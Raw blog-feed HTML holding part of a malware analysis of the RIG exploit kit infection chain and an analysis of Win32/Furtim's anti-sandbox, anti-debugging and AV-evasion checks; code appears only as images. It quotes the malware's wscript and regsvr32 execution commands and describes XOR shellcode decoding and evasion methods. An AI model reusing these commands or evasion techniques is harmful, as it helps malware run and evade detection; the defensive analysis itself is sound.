&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDqQqjsX8vskr4quk4sHyOcuayF4fzWvh_anAXOy2leiI19YC1JSqxmPtSlT4ZAha2tKWOvYfFZghqi-DctxFyTlFuKWQKZXvBgCdJpd2ombuI0KIhjyhyphenhyphenj87wdlfZZurd2HxynipjPw/s1600/26.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;224&quot; data-original-width=&quot;735&quot; height=&quot;121&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNDqQqjsX8vskr4quk4sHyOcuayF4fzWvh_anAXOy2leiI19YC1JSqxmPtSlT4ZAha2tKWOvYfFZghqi-DctxFyTlFuKWQKZXvBgCdJpd2ombuI0KIhjyhyphenhyphenj87wdlfZZurd2HxynipjPw/s400/26.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold; text-decoration-line: underline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Below is the snapshot of the code that decrypts the shellcode when the init() method is called initially.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhudIJV4OICpJG9hZS_JpIOk9-7kDDV76OkRkvuXOa26BDgra1GmgUNuHJY012FooPj7_lbtdmFpXdwW5n8FXSPPaNymu8_qq6m-rvs7_OYUQ2TzcqdyB5NQNNMk4Eh0Uvs7iirHyqUaOs/s1600/27.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;253&quot; data-original-width=&quot;734&quot; height=&quot;137&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhudIJV4OICpJG9hZS_JpIOk9-7kDDV76OkRkvuXOa26BDgra1GmgUNuHJY012FooPj7_lbtdmFpXdwW5n8FXSPPaNymu8_qq6m-rvs7_OYUQ2TzcqdyB5NQNNMk4Eh0Uvs7iirHyqUaOs/s400/27.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
During the execution , shellcode is then XORed with 0x84 as shown below.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJsitCJzW5OyThDlkI3pq7VB53dzzyX83YsD_Ovq3nT7wRfSMiLXBvQb-ToJPhFJkogUFjHaVkG-TutNI9uguyFx1rzAO-vwPH8I25HY7H9tk4ZX7_Sf9Of7-6mpXNPeqOVSFdJI79k7Q/s1600/28.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;498&quot; data-original-width=&quot;671&quot; height=&quot;296&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJsitCJzW5OyThDlkI3pq7VB53dzzyX83YsD_Ovq3nT7wRfSMiLXBvQb-ToJPhFJkogUFjHaVkG-TutNI9uguyFx1rzAO-vwPH8I25HY7H9tk4ZX7_Sf9Of7-6mpXNPeqOVSFdJI79k7Q/s400/28.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Once code is XORed , it will&amp;nbsp; execute and drop the JavaScript in the “Temp” directory, which is finally executed using the windows wscript engine with the command “wscript //B //E: Jscript o32.tmp”. Below is the XORed code.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjadFqa7JJgSTI6eg3UHFG59yZ4EMjMw71hJsKnoqA1UrMx65VSN-10_jF60hhBEyQuGliR0eZdQwgZAsmp3znHqXKZPxicqZkcu8el_BM7harjdd8KKwFb047qlXAzFXXofBsBkpHYXI/s1600/29.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;137&quot; data-original-width=&quot;731&quot; height=&quot;73&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjadFqa7JJgSTI6eg3UHFG59yZ4EMjMw71hJsKnoqA1UrMx65VSN-10_jF60hhBEyQuGliR0eZdQwgZAsmp3znHqXKZPxicqZkcu8el_BM7harjdd8KKwFb047qlXAzFXXofBsBkpHYXI/s400/29.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Indented JavaScript is as show below for readability.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyGN-ltmNwc6BLXCUPB9dGwJ6NCcG7g1malPXqQJT1hyphenhyphenKH0jn7o56tRjSThuSCuKVcG_1G7Tyqphgc7FZxAmh_ULRpK4SzzAbBeEU6WoVW23OZltVCvAy3othrYhqooUDlAb3W4JWyi0E/s1600/30.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;339&quot; data-original-width=&quot;782&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyGN-ltmNwc6BLXCUPB9dGwJ6NCcG7g1malPXqQJT1hyphenhyphenKH0jn7o56tRjSThuSCuKVcG_1G7Tyqphgc7FZxAmh_ULRpK4SzzAbBeEU6WoVW23OZltVCvAy3othrYhqooUDlAb3W4JWyi0E/s400/30.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
From the dropped JavaScript, it is apparent that exploit is downloading additional malware [ a DLL ] from the attacker controlled server and then executes it using “regsvr32.exe /s &lt;binary name=&quot;&quot;&gt;” command.&lt;/binary&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2017/05/inside-rig-exploit-kit-infection-chain.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5wJoWJ0HyyxZ5tXBGCv6sBt90XwQJ1BX9d9xGE4B_3ajpKeEivVWYcjnxujuDk_wGMNsua4zzO4zAK75K7Zx9uPK1AAM-13Sg5Tllmfa3lxBJ9V-rIj3hkSZPXavIrp3CRTG_yEVbOMU/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-32174377797159181</guid><pubDate>Sun, 17 Jul 2016 16:26:00 +0000</pubDate><atom:updated>2016-07-22T15:59:17.240+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Malware Techniques</category><title>Win32/Furtim : Malware With Galore Of Stealth And Evasions..</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Recently around a mid May 2016 , a sophisticated malware nicknamed &lt;b&gt;Win32/Furtim&lt;/b&gt; was uncovered and since then , lot of noise has been made about the attribution of the malware and the suspected targets. One of its dropped components was believed to target European energy company while others believed it to be a credential stealer. However , while the purpose of the malware and the potential targets are still unclear and perhaps under investigation , this piece of code sounded extremely interesting to me because of the fact that , it goes an extra mile to implement&amp;nbsp;heterogeneous techniques to hide its behavior. This methods are wide ranged from detecting installed Anti-Virus products, virtualization ,sandboxes, monitoring tools and plenty of stuff.&lt;br /&gt;
&lt;br /&gt;
I wanted to take a in-depth look at the malware to see evasion techniques used.This code also has been obfuscated by using indirect calls to the huge extent to prevent static analysis . Apparently , it must also have several anti-debugging techniques to hide itself from debuggers. It uses ZwQueryInformationProcess with ProcessDebugPort to check if the process is running under the context of the debugger.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik38TdPSPHHkfab9DjBme0yepjOuKjNv_FVZSryGbjpX8hp6U3LKzKLOPvuJ2LUuAkiFFk9g3K313emKEsVUxI5bS7CSLggTP_k3v0mVPRrpiWP3joVUnOtUR2an2vsQFbrTGJg8xdFdw/s1600/Furtim_1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik38TdPSPHHkfab9DjBme0yepjOuKjNv_FVZSryGbjpX8hp6U3LKzKLOPvuJ2LUuAkiFFk9g3K313emKEsVUxI5bS7CSLggTP_k3v0mVPRrpiWP3joVUnOtUR2an2vsQFbrTGJg8xdFdw/s400/Furtim_1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;Bypassing user-space hooks&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Win32/Furtim bypasses user space hooks by directly calling ntdll APIs. Several AV products and sandboxes implement user space hooks to monitor the API calls of the process. This malware uses lower level calls to avoid being monitored by traditional hooks. Some of the ntdll APIs that it tries to resolve:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCdYO5Cj3h78fiDE5nhk3R_ptMHdwxvSQM8p1QVh7ysvCv4VxbYlZCmRie6ea9dDdG9K2Q3yp_4RUFIFVeh3gYffufjTaCdLMQfBbxgYR0kSYK9a-5Ay6G-nvkfGfofmFVg2oNdMkC4w/s1600/Furtim_2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCdYO5Cj3h78fiDE5nhk3R_ptMHdwxvSQM8p1QVh7ysvCv4VxbYlZCmRie6ea9dDdG9K2Q3yp_4RUFIFVeh3gYffufjTaCdLMQfBbxgYR0kSYK9a-5Ay6G-nvkfGfofmFVg2oNdMkC4w/s400/Furtim_2.png&quot; width=&quot;333&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;Blacklisted processor architectures&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
It executes CPUID instruction after loading the registers with the appropriate values to get the processor brand string and compares with the blacklisted processor architectures. If found, it will terminate :&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvPzJVTMpkYn9yCiuapzAeJihI8Z0T0pkelVHxK-Jn-5QMW7YkgBs9PB2KnhgtAOze60gztAhoyHUkzyrwMjESD3RYp0oys0ih7VcQH74n4KRMvh39Nyqau3hIlYMxnhRJOE5xXTuDxcI/s1600/Furtim_3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;298&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvPzJVTMpkYn9yCiuapzAeJihI8Z0T0pkelVHxK-Jn-5QMW7YkgBs9PB2KnhgtAOze60gztAhoyHUkzyrwMjESD3RYp0oys0ih7VcQH74n4KRMvh39Nyqau3hIlYMxnhRJOE5xXTuDxcI/s400/Furtim_3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apart from these , CPUID instruction also reveals the hypervisor details. Below is the check performed if the malware is running under hypervisor environment.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFgG932ywmhecrDWb65MBgm6pXPGfiPIPpUnjgBRgV1Ob1SYiu-LLd02vOSvh9X-VhNwfKMjANDvDXjzve2NJ-x_cdlOFZRuMGvsoM5FD9gV1xigraDAfeVI-9WhlPpIMuuQDD1fjlH6s/s1600/Furtim_4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;52&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFgG932ywmhecrDWb65MBgm6pXPGfiPIPpUnjgBRgV1Ob1SYiu-LLd02vOSvh9X-VhNwfKMjANDvDXjzve2NJ-x_cdlOFZRuMGvsoM5FD9gV1xigraDAfeVI-9WhlPpIMuuQDD1fjlH6s/s400/Furtim_4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;Blacklisted hostnames&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
Next it tries to detect the analysis system by checking the hostname . Process will terminate if it finds the hostname matching any of the ones in the blacklist.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2qO5-asdyiOPafvu_HFL9nJ7VHSI-wrrBO1jadGNNOsGktr58Kg6z-6BVqrhaLQ_VpE7v6dUNXg9eQx8YKtcN4i44J-iSR1LPY7wA8F1ic6JqKxZ_jhKeQEEn1MvOk-eJdvqEeEINvSE/s1600/Furtim_5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;65&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2qO5-asdyiOPafvu_HFL9nJ7VHSI-wrrBO1jadGNNOsGktr58Kg6z-6BVqrhaLQ_VpE7v6dUNXg9eQx8YKtcN4i44J-iSR1LPY7wA8F1ic6JqKxZ_jhKeQEEn1MvOk-eJdvqEeEINvSE/s400/Furtim_5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
These hostnames should apparently correspond to known sandboxes. Below are couple of instances found:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyDGHUIlo9xQNsozKH4MOAFV2evLA8S5Z24YrpTPPy2gq_PqAPGod5Q_jRRom17zCU6k8qokNa9WAgwkWARyujRy_mIvW_G48-tkD0tCM1olGPi0jdT_LZ9b4P66Zolpsl2I_ItoF2yRo/s1600/Furtim_6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyDGHUIlo9xQNsozKH4MOAFV2evLA8S5Z24YrpTPPy2gq_PqAPGod5Q_jRRom17zCU6k8qokNa9WAgwkWARyujRy_mIvW_G48-tkD0tCM1olGPi0jdT_LZ9b4P66Zolpsl2I_ItoF2yRo/s400/Furtim_6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;File paths containing the known strings&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Many of the automated analysis systems including commercial sandboxes tend to use the &quot;malware&quot; , &quot;sample&quot; , &quot;virus&quot; etc in the file name or the path. Here is the check that is performed to match the path against the known path names or string after calling GetModuleFileNameW.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVE_YcBW3Ong3og8F1PY0L62dxOngGgKHNZN7jkla5_hTmes-Z9_lB-2Dyg8-r9BxCzeEWS6LnMwT0RUv_LLN4hmJvQoUdfJjhD2HpOgVoQ_vBzzn8cFXtUshsdi_PBqakNs4_cBPGip4/s1600/Furtim_7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;311&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVE_YcBW3Ong3og8F1PY0L62dxOngGgKHNZN7jkla5_hTmes-Z9_lB-2Dyg8-r9BxCzeEWS6LnMwT0RUv_LLN4hmJvQoUdfJjhD2HpOgVoQ_vBzzn8cFXtUshsdi_PBqakNs4_cBPGip4/s400/Furtim_7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/u&gt;
&lt;u style=&quot;color: #93c47d;&quot;&gt;VxStream sandbox&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
It calls GetDriveTypeW to check if Z:\ drive exists on the system as a DRIVE_FIXED and then checks for Z:\\VxStream to see if it is running inside the VxStream sandbox.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYMpTttJ7G8klsSV8oVJiPg1LvHkCIh010P7DBTqHBICd1xJTKu82vn3xiRzJnJtQiaeTp-diWUJzFv5F6DNkNR3rkVhVEhIET4Hag-l6SXKSsFAccQR-sTqMBCQyVO6X1zD7EiU_faTA/s1600/Furtim_8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;127&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYMpTttJ7G8klsSV8oVJiPg1LvHkCIh010P7DBTqHBICd1xJTKu82vn3xiRzJnJtQiaeTp-diWUJzFv5F6DNkNR3rkVhVEhIET4Hag-l6SXKSsFAccQR-sTqMBCQyVO6X1zD7EiU_faTA/s400/Furtim_8.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;b&gt;Known hooking DLLs used by AV products for behavior monitoring&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Antivirus products and sandboxes attempt to monitor the behavior of the processes by injecting the DLLs into its address space. These monitoring DLLs patch the API calls in the kernel32.dll redirecting to its own stub to log the behavior or to modify the stack before the call is made. It is very unlikely that ntdll will be hooked by commercial sandboxes unless unavoidable , since it interface is not consistent and changes between OS. Win32/Furtim calls the ntdll API GetLdrDllHandle to check if any of the below monitoring DLLs is loaded in the process . If it finds one , it will terminate.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZs06k-04GpXLfQzajZxFHuBpC6H7cvIF7lQSoP85L94xVacQFnRAYb-DPOMS6NszpqDuw5iumeq1JYsUHwS58TtpAS62gaeeA6QdlTiI56RmEfPh9XCUZEfF-2B3ajb9Y4glYONwEe4Y/s1600/Furtim_9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;365&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZs06k-04GpXLfQzajZxFHuBpC6H7cvIF7lQSoP85L94xVacQFnRAYb-DPOMS6NszpqDuw5iumeq1JYsUHwS58TtpAS62gaeeA6QdlTiI56RmEfPh9XCUZEfF-2B3ajb9Y4glYONwEe4Y/s400/Furtim_9.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;Known sandbox / monitoring tools artifacts&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
As another addition to the implemented evasion techniques,it calls NtQueryAttributesFile to check if the infected machine has any of the blacklisted files . This list includes the check for Cuckoo sandbox,Cwsandbox, presence of debugger , Sysanalyzer monitoring tools,Gfisandbox , malware decoders and several others . It will perhaps refuse to run or alter its behavior if any of the file is existing on the machine .&lt;br /&gt;
&lt;br /&gt;
